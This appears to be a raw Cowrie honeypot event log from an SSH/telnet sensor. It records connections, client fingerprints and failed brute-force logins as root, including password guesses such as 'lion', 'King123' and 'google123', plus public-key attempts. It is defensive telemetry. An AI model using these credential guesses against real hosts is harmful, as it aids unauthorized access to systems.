{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:45:01.635969Z","src_ip":"103.27.238.114","session":"b0abd62f4475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lion","message":"login attempt [root/lion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:45:02.459521Z","src_ip":"103.27.238.114","session":"b0abd62f4475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:45:03.742492Z","src_ip":"103.27.238.114","session":"b0abd62f4475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42932,"dst_ip":"10.17.0.5","dst_port":22,"session":"551540189a32","protocol":"ssh","message":"New connection: 80.94.92.184:42932 (10.17.0.5:22) [session: 551540189a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:45:03.972504Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:45:04.081860Z","src_ip":"80.94.92.184","session":"551540189a32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"King123","message":"login attempt [root/King123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:45:04.684366Z","src_ip":"27.71.230.31","session":"371cfb5fefbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:45:10.555247Z","src_ip":"27.71.230.31","session":"371cfb5fefbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.163.145.38","src_port":3956,"dst_ip":"10.17.0.5","dst_port":22,"session":"220737e07629","protocol":"ssh","message":"New connection: 89.163.145.38:3956 (10.17.0.5:22) [session: 220737e07629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:07.818723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:07.822939Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:07.915823Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:ee:96:36:00:75:8b:99:78:5e:80:b6:db:b3:66:fd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGuQkCPQl08QaOPI8Solr6xO5+u64N0IZmcjXPjN13QC","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bc:ee:96:36:00:75:8b:99:78:5e:80:b6:db:b3:66:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:08.330001Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:ee:96:36:00:75:8b:99:78:5e:80:b6:db:b3:66:fd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGuQkCPQl08QaOPI8Solr6xO5+u64N0IZmcjXPjN13QC","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:08.333462Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:2c:d3:db:78:0d:6a:08:d6:71:b5:7e:16:49:f5:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyDPumVBXXYFYZhuyZidHNxlkz/PxhYSjH3e1BrwWysN/zoUWOforfDsOSPTEzEpR63bU5Y/EXyI9EYNJe4aq8Wsz9kVoMS6rv6frRiHauhIE7jVs2Mj+Me4RoG9LGEwdUrpM59Zf9lJ0BrR96h2KBEEH9iWgOxcO85+S5qySjh5uMsOSFCy4qvuj4PRLbTc/i+gRV8oe7ve3w9z9rVTPB7D6KZQOzg2LjPFoPJ9qqTWBqiiYbdlwjiWAdyDlCp7qKJCzdYTLDjqGnjcfisakdd6583dLrxkyav+DzCyj8UWrHmo2QekL8we+LpmVBEiQmu+FcKRPv/NXu9vWM0QdBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:2c:d3:db:78:0d:6a:08:d6:71:b5:7e:16:49:f5:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:08.421084Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:2c:d3:db:78:0d:6a:08:d6:71:b5:7e:16:49:f5:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyDPumVBXXYFYZhuyZidHNxlkz/PxhYSjH3e1BrwWysN/zoUWOforfDsOSPTEzEpR63bU5Y/EXyI9EYNJe4aq8Wsz9kVoMS6rv6frRiHauhIE7jVs2Mj+Me4RoG9LGEwdUrpM59Zf9lJ0BrR96h2KBEEH9iWgOxcO85+S5qySjh5uMsOSFCy4qvuj4PRLbTc/i+gRV8oe7ve3w9z9rVTPB7D6KZQOzg2LjPFoPJ9qqTWBqiiYbdlwjiWAdyDlCp7qKJCzdYTLDjqGnjcfisakdd6583dLrxkyav+DzCyj8UWrHmo2QekL8we+LpmVBEiQmu+FcKRPv/NXu9vWM0QdBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:08.424309Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:36:cd:14:b0:ab:ce:49:8d:81:19:36:9d:1e:41:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFLBa53y5ClJRiEhZeA2SMctEcXOXd2l+/YuDGTAX+PFbwGLfAayOv65zei7aiLQa1d/hGjJb2XvBvREObj80A4F+Pu0HslXMxcXM/VtJKn/0dtpnwrGcXzCJ+zP+9psOd4eo7I8G47icGWIis/qSC1SFTtzIu3b0+X6OZj4/nixfqKhux4XipBaV45AOxanthDIrU/GvUljKoUIXq9ScEBGwtT9BqzlCeF5tnGkbsQy76tKBQ49LvN1jS0FHznE1DoXaEj5VZLiWwnao8MzAHDDspL/iokbrWGoJW+mHHYS+9yr2ZtoXUnpWZbFT7xowZvpVRHqCLNxMIscfr2hsl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:36:cd:14:b0:ab:ce:49:8d:81:19:36:9d:1e:41:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:08.514633Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:36:cd:14:b0:ab:ce:49:8d:81:19:36:9d:1e:41:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFLBa53y5ClJRiEhZeA2SMctEcXOXd2l+/YuDGTAX+PFbwGLfAayOv65zei7aiLQa1d/hGjJb2XvBvREObj80A4F+Pu0HslXMxcXM/VtJKn/0dtpnwrGcXzCJ+zP+9psOd4eo7I8G47icGWIis/qSC1SFTtzIu3b0+X6OZj4/nixfqKhux4XipBaV45AOxanthDIrU/GvUljKoUIXq9ScEBGwtT9BqzlCeF5tnGkbsQy76tKBQ49LvN1jS0FHznE1DoXaEj5VZLiWwnao8MzAHDDspL/iokbrWGoJW+mHHYS+9yr2ZtoXUnpWZbFT7xowZvpVRHqCLNxMIscfr2hsl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:08.518018Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:20:34:b7:64:e6:d6:10:93:cb:8a:98:95:8d:73:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0r26KPdui+f1UDuzp26+W9quAd/EpfMXRNpN/+xTTKG/jcHvcTCiTX7dCIJ00olkeijwTcuG3VywS4oezPNXXINT5YgQnDkgv6Qp9Ji5TM7L6z+wUB93m/vevDPdyItjUPZLdc/2q2TwgNYOwLAkqEcGZdz0GUcVEMdTYFpr6bIXq3/PFTANFut+EMhjb0mZWU/tQ7NPF530Z0KO3vZFmpGHlmh4+LoWVQX5hSPc4BJTx70ZhFo8/ihP72nVBYbT2g0uAsxfrE0ucoBjI89ZaxBMiL5RzildX28+VJNBHkFmKP0OcLAsSs9imp4K2SdcOx1WbG3II4QXbQawKaRJKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:20:34:b7:64:e6:d6:10:93:cb:8a:98:95:8d:73:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:08.610205Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:20:34:b7:64:e6:d6:10:93:cb:8a:98:95:8d:73:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0r26KPdui+f1UDuzp26+W9quAd/EpfMXRNpN/+xTTKG/jcHvcTCiTX7dCIJ00olkeijwTcuG3VywS4oezPNXXINT5YgQnDkgv6Qp9Ji5TM7L6z+wUB93m/vevDPdyItjUPZLdc/2q2TwgNYOwLAkqEcGZdz0GUcVEMdTYFpr6bIXq3/PFTANFut+EMhjb0mZWU/tQ7NPF530Z0KO3vZFmpGHlmh4+LoWVQX5hSPc4BJTx70ZhFo8/ihP72nVBYbT2g0uAsxfrE0ucoBjI89ZaxBMiL5RzildX28+VJNBHkFmKP0OcLAsSs9imp4K2SdcOx1WbG3II4QXbQawKaRJKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:08.613800Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:d4:8a:46:c9:a4:85:5d:fc:42:80:2e:17:e2:18:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwGGNIYVXsvnPcmGKYVhdorHD6VwY55xeSdGnmGfZbEkFLr5l+LDXA8ROUC5TmEHEsa48BT/fG0MRPmxzT5ICJ1M/DR052bDFkFpOlxaYJn6R2bPzud7HQUf25rNvh2mYAhr5z+ZnVmR3i2vkzU140GjR+In5AgDf6f82wJYjKcjKJzGtg8zYeTyfFvp+Ib7109TOdJdeXSoa4JaxDBjHdNB8vaTTsN/m0Xkq3qF7esy0gHpLfVFanIbyqZZCn4uXPlMilktFYU2OtYRm4SBdMfdYU6cPMKS4ChfYnm8AL2a+ctai1oLebkVo5InGoP9KOIPHhKZineUTGWoanj/eeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:d4:8a:46:c9:a4:85:5d:fc:42:80:2e:17:e2:18:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:08.701587Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:d4:8a:46:c9:a4:85:5d:fc:42:80:2e:17:e2:18:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwGGNIYVXsvnPcmGKYVhdorHD6VwY55xeSdGnmGfZbEkFLr5l+LDXA8ROUC5TmEHEsa48BT/fG0MRPmxzT5ICJ1M/DR052bDFkFpOlxaYJn6R2bPzud7HQUf25rNvh2mYAhr5z+ZnVmR3i2vkzU140GjR+In5AgDf6f82wJYjKcjKJzGtg8zYeTyfFvp+Ib7109TOdJdeXSoa4JaxDBjHdNB8vaTTsN/m0Xkq3qF7esy0gHpLfVFanIbyqZZCn4uXPlMilktFYU2OtYRm4SBdMfdYU6cPMKS4ChfYnm8AL2a+ctai1oLebkVo5InGoP9KOIPHhKZineUTGWoanj/eeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:08.705029Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:08.793749Z","src_ip":"89.163.145.38","session":"220737e07629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":53784,"dst_ip":"10.17.0.5","dst_port":22,"session":"018794999243","protocol":"ssh","message":"New connection: 103.15.222.183:53784 (10.17.0.5:22) [session: 018794999243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:35.314137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:35.320434Z","src_ip":"103.15.222.183","session":"018794999243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:35.572211Z","src_ip":"103.15.222.183","session":"018794999243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"x12345","message":"login attempt [root/x12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:36.331441Z","src_ip":"103.15.222.183","session":"018794999243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:37.586748Z","src_ip":"103.15.222.183","session":"018794999243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50914,"dst_ip":"159.203.135.109","dst_port":23,"session":"473c707c486c","protocol":"telnet","message":"New connection: 107.6.151.170:50914 (159.203.135.109:23) [session: 473c707c486c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:55.720240Z"}
{"eventid":"cowrie.session.closed","duration":0.009501934051513672,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:46:55.729533Z","src_ip":"107.6.151.170","session":"473c707c486c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":40160,"dst_ip":"10.17.0.5","dst_port":22,"session":"78ddbc637d27","protocol":"ssh","message":"New connection: 46.19.67.181:40160 (10.17.0.5:22) [session: 78ddbc637d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:16.227802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:16.231981Z","src_ip":"46.19.67.181","session":"78ddbc637d27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:16.346247Z","src_ip":"46.19.67.181","session":"78ddbc637d27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789mama","message":"login attempt [root/123456789mama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:16.691615Z","src_ip":"46.19.67.181","session":"78ddbc637d27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:17.808475Z","src_ip":"46.19.67.181","session":"78ddbc637d27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":40032,"dst_ip":"159.203.135.109","dst_port":22,"session":"86e4fa09f062","protocol":"ssh","message":"New connection: 46.29.234.126:40032 (159.203.135.109:22) [session: 86e4fa09f062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:32.864989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:32.869407Z","src_ip":"46.29.234.126","session":"86e4fa09f062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:32.983698Z","src_ip":"46.29.234.126","session":"86e4fa09f062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"google123","message":"login attempt [root/google123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:33.475879Z","src_ip":"46.29.234.126","session":"86e4fa09f062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:47:34.594585Z","src_ip":"46.29.234.126","session":"86e4fa09f062","protocol":"ssh"}
